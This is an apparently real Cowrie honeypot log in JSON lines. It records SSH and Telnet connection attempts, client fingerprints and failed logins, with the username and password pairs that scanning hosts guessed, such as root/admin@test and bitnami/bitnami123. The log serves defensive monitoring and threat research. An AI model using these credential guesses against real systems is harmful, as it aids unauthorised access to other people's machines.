{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:17.319446Z","src_ip":"103.27.238.116","session":"180b2d93a76d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:18.134313Z","src_ip":"103.27.238.116","session":"180b2d93a76d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":37796,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eaac36cc8bb","protocol":"telnet","message":"New connection: 94.23.66.112:37796 (10.17.0.5:23) [session: 6eaac36cc8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:18.287544Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:19.406738Z","src_ip":"103.27.238.116","session":"180b2d93a76d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.30614876747131,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:19.837844Z","src_ip":"107.6.151.170","session":"448f5c9f016d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.677150726318359,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:24.964572Z","src_ip":"94.23.66.112","session":"6eaac36cc8bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":35235,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cbe3753930b","protocol":"ssh","message":"New connection: 170.80.65.140:35235 (10.17.0.5:22) [session: 3cbe3753930b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:26.799786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:26.803076Z","src_ip":"170.80.65.140","session":"3cbe3753930b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:26.927093Z","src_ip":"170.80.65.140","session":"3cbe3753930b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@test","message":"login attempt [root/admin@test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:27.458348Z","src_ip":"170.80.65.140","session":"3cbe3753930b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:28.584129Z","src_ip":"170.80.65.140","session":"3cbe3753930b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":39108,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2b2acd9229c","protocol":"ssh","message":"New connection: 38.148.249.2:39108 (10.17.0.5:22) [session: c2b2acd9229c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:30.295029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:30.299457Z","src_ip":"38.148.249.2","session":"c2b2acd9229c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:30.368375Z","src_ip":"38.148.249.2","session":"c2b2acd9229c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@2025","message":"login attempt [azureuser/azureuser@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:30.679286Z","src_ip":"38.148.249.2","session":"c2b2acd9229c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:31.750716Z","src_ip":"38.148.249.2","session":"c2b2acd9229c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":37982,"dst_ip":"159.203.135.109","dst_port":22,"session":"2abc23b83c11","protocol":"ssh","message":"New connection: 216.155.93.75:37982 (159.203.135.109:22) [session: 2abc23b83c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:31.789219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:31.793438Z","src_ip":"216.155.93.75","session":"2abc23b83c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:31.946278Z","src_ip":"216.155.93.75","session":"2abc23b83c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ll","password":"123123","message":"login attempt [ll/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:32.590086Z","src_ip":"216.155.93.75","session":"2abc23b83c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:33.745151Z","src_ip":"216.155.93.75","session":"2abc23b83c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":44984,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e1aa90fdc00","protocol":"ssh","message":"New connection: 103.216.145.2:44984 (10.17.0.5:22) [session: 5e1aa90fdc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:45.283878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:45.287535Z","src_ip":"103.216.145.2","session":"5e1aa90fdc00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:45.482064Z","src_ip":"103.216.145.2","session":"5e1aa90fdc00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.104246616363525,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:45.891834Z","src_ip":"107.6.151.170","session":"d900e50ae196","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2026","message":"login attempt [root/test@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:46.302070Z","src_ip":"103.216.145.2","session":"5e1aa90fdc00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:47.499718Z","src_ip":"103.216.145.2","session":"5e1aa90fdc00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50596,"dst_ip":"159.203.135.109","dst_port":23,"session":"74845cce1a74","protocol":"telnet","message":"New connection: 128.199.8.54:50596 (159.203.135.109:23) [session: 74845cce1a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:49.429611Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":43396,"dst_ip":"10.17.0.5","dst_port":22,"session":"a94ee4dbe095","protocol":"ssh","message":"New connection: 43.153.12.68:43396 (10.17.0.5:22) [session: a94ee4dbe095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:49.953573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:49.957611Z","src_ip":"43.153.12.68","session":"a94ee4dbe095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:50.029730Z","src_ip":"43.153.12.68","session":"a94ee4dbe095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami123","message":"login attempt [bitnami/bitnami123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:50.338322Z","src_ip":"43.153.12.68","session":"a94ee4dbe095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:51.409582Z","src_ip":"43.153.12.68","session":"a94ee4dbe095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":38854,"dst_ip":"10.17.0.5","dst_port":22,"session":"a88cf9399eae","protocol":"ssh","message":"New connection: 91.92.40.13:38854 (10.17.0.5:22) [session: a88cf9399eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:52.313732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:52.617092Z","src_ip":"91.92.40.13","session":"a88cf9399eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:52.625661Z","src_ip":"91.92.40.13","session":"a88cf9399eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"1234","message":"login attempt [apache/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:54.126067Z","src_ip":"91.92.40.13","session":"a88cf9399eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:16:55.733726Z","src_ip":"91.92.40.13","session":"a88cf9399eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40168,"dst_ip":"159.203.135.109","dst_port":23,"session":"e60313e03672","protocol":"telnet","message":"New connection: 172.81.62.90:40168 (159.203.135.109:23) [session: e60313e03672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:00.346444Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35796,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f2b3a14965d","protocol":"telnet","message":"New connection: 172.81.62.90:35796 (159.203.135.109:23) [session: 1f2b3a14965d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:06.911815Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":37610,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c5059c516cb","protocol":"ssh","message":"New connection: 46.19.67.181:37610 (159.203.135.109:22) [session: 5c5059c516cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:13.678306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:13.682742Z","src_ip":"46.19.67.181","session":"5c5059c516cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:13.794499Z","src_ip":"46.19.67.181","session":"5c5059c516cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555aaa","message":"login attempt [root/555aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:14.131463Z","src_ip":"46.19.67.181","session":"5c5059c516cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:17:15.245659Z","src_ip":"46.19.67.181","session":"5c5059c516cb","protocol":"ssh"}
